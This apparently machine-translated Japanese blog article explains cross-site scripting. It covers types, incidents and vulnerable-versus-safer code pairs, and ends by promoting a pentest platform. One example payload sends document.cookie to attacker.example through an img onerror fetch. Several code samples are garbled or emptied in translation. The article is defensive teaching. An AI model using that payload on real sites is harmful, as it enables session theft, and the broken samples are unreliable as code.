クロスサイト・スクリプティング (XSS) は、攻撃者が悪意のあるコード(通常はJavaScript)を、他のユーザーが閲覧するウェブページに注入するウェブの脆弱性である。注入されたコードは、信頼されたサイトのコンテキスト下で被害者のブラウザで実行され、攻撃者がクッキーを盗んだり、セッションを乗っ取ったり、データを流出させたり、ユーザーの代わりにアクションを実行したりすることを可能にします。
XSSが2025年も世界的な問題であり続ける理由
XSSは、何十年もの間、最も一般的なウェブ脆弱性の一つとして存続してきた。XSSが広く知られるようになったのは、ウェブ・プラットフォームにおける動的コンテンツやユーザー生成入力の台頭とともに、1990年代後半からです。
最近の調査では、特に最新のフレームワーク、API、ダイナミックレンダリング、リッチテキストコンテンツ、サードパーティの統合によって、XSSがウェブアプリケーションに影響を与え続けていることが確認されています。
コメントからJSON APIまで、適切なサニタイズや出力エンコーディングなしにユーザー入力を受け入れるウェブアプリケーションは、依然として危険にさらされています。

実際のXSS侵害事例
ERPNext / Frappe - CVE-2025-56379 Stored XSS
2025 年、ERPNext/Frappe は Blog モジュール (バージョン 15.67.0 / 15.72.4) に保存型 XSS 脆弱性を公開しました。認証されたユーザは、悪意のある HTML/JavaScript を 内容 フィールドで実行される。このペイロードは、ブログ記事を閲覧しているユーザーのブラウザ内で実行され、セッションハイジャックやデータ盗難の危険性がある。
これは、ユーザーが作成したHTMLが適切にサニタイズされずにレンダリングされた場合、よく整備されたオープンソースのプラットフォームでさえ脆弱であることを示している。
歴史的事件:マイスペースのサミー・ワーム(2005年)
Samyワームは、MySpaceのユーザー・プロフィールのXSSを悪用した。このワームは20時間で100万以上のプロファイルに広がり、XSSがいかに急速に伝播し、ユーザーセッションを乗っ取るかを実証した。
XSSの種類と攻撃ベクトル
XSSにはいくつかの種類がある:
| タイプ | 説明 | 典型的な攻撃ベクトル |
|---|---|---|
| 反射型XSS | ペイロードはリクエストからレスポンスまで即座に反映される | URLパラメータ、検索フィールド |
| 保存されたXSS | ペイロードはサーバーに保存され、後で実行される | コメント、ブログ、ユーザープロフィール |
| DOMベースのXSS | クライアント側スクリプトが安全でないコンテンツを注入する | シングルページアプリ、URLハッシュ、JSテンプレート |
| ブラインドXSS | ペイロードは即座にフィードバックされることなく実行される | 管理者ダッシュボード、ログ、電子メール |
最近の攻撃には、サニタイザーを回避し、ブラインドXSSの状態を引き起こすことができるポリグロットのペイロードも含まれています。(arxiv.org)
XSS攻撃の結果
- セッション・ハイジャックとアカウント乗っ取り
- 不正行為/ユーザーなりすまし
- データ盗難/機密情報の暴露
- 改ざん、フィッシング、ソーシャルエンジニアリング
- 持続的マルウェア配信
小さなウェブ・アプリケーションであっても、ユーザー入力を安全に表示できない場合は危険です。
攻撃と守備の例
例 1 - 反射型 XSS (PHP + HTML)
傷つきやすい:
php
<?php $search = $_GET['q'] ?? '';?><html> <body> <p>検索結果 検索結果を表示します。</p> </body> </html>
より安全なバージョン:
php
<?php $search = $_GET['q'] ?? '';$safe = htmlspecialchars($search, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');?><html> <body> <p>検索結果 検索結果</p> </body> </html>

例 2 - コメントに保存された XSS (JavaScript + HTML)
脆弱なレンダリング:
html
<div class="comments"><p class="user-comment">{comment_from_db}}。</p></div>
DOMPurifyによる安全なレンダリング:
html
。
例3 - URL経由のDOMベースXSS
傷つきやすい:
ジャバスクリプト
const msg = document.getElementById('msg'); msg.innerHTML = location.hash.substring(1);
安全だ:
ジャバスクリプト
const msg = document.getElementById('msg'); msg.textContent = location.hash.substring(1);
例4 - ブラインド/遅延XSS
攻撃ペイロード:
html
<img src="x" onerror="fetch('<https://attacker.example/p?c='+document.cookie>)">
ディフェンス
- サーバー側でユーザーのHTML入力をサニタイズする
- 厳格なHTMLタグ/属性のホワイトリストを適用する
- コンテンツ・セキュリティ・ポリシー(CSP)の実施
pgsql
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'none';
例 5 - JSON API インジェクション (JavaScript)
傷つきやすい:
ジャバスクリプト
fetch('/api/user/123') .then(res => res.json()) .then(data => {document.getElementById('username').innerHTML = data.username; });
安全だ:
ジャバスクリプト
fetch('/api/user/123') .then(res => res.json()) .then(data => {document.getElementById('username').textContent = data.username; });
例 6 - テンプレート・インジェクション (Python / Jinja2)
傷つきやすい:
パイソン
from jinja2 import Template user_input = "{{7*7}}"tpl = Template(user_input)print(tpl.render())
安全だ:
パイソン
from jinja2.sandbox import SandboxedEnvironment env = SandboxedEnvironment() tpl = env.from_string(user_input)print(tpl.render())

GitHubから学ぶ実世界の教訓(2018年)
GitHubには、Markdownレンダリングに保存されたXSSがあった。ユーザーはREADMEファイルにJSコードを挿入することができ、リポジトリページを開いた訪問者はそのコードを実行してしまう。GitHubは入力をサニタイズし、許可されるHTMLタグを制限することでこれを修正しました。(ギットハブ・セキュリティ)
最新のワークフローにXSS対策を組み込む
- 出力エンコーディングとサニタイズ すべてのコンテキストでhtml、js、css、url
- 最新の除菌剤を使用する:DOMPurify、サーバーサイドエスケープライブラリ、自動エスケープ機能付きテンプレートエンジン
- CSPを適用するインラインスクリプトの防止とスクリプトソースの制限
- 自動テスト静的解析、動的スキャン、ファジング、ブラインドXSSテスト
- 手動侵入テスト複雑な注射ベクターや多段階注射ベクターの検証
- 監査とモニター不審な入力のログ、管理者/第三者のコンテンツのレビュー、コードレビューの実施
自動XSSテストのためのPenligentの統合
現代のセキュリティチームは、次のようなインテリジェントな侵入テストプラットフォームを活用することができます。 寡黙 を使用して、複数のコンテキストにまたがるXSS検出を自動化します:
- 反射型、保存型、DOM型、ブラインドXSSベクターの継続的スキャン
- 自動化されたペイロード注入と分析
- 報告と改善提案
- DevSecOpsワークフローのためのCI/CDパイプラインとの統合
Penligentを使用することで、チームは手作業を減らし、カバレッジを向上させ、進化するXSSの脅威から継続的に保護することができます。
概要
- XSSは、何十年にもわたって認識されてきたにもかかわらず、依然としてウェブの脆弱性のトップである。
- 防御には、エンコーディング、サニタイゼーション、CSP、安全なAPI、継続的なテストといった多層的な対策が必要だ。
- 自動テストと手動テストを組み合わせることで、特に最新の動的アプリケーションにおいて強固な保護が実現する。
- のようなインテリジェントなプラットフォームがある。 寡黙 は、セキュリティ・ワークフローを強化し、XSSをプロアクティブに検出して緩和することができます。

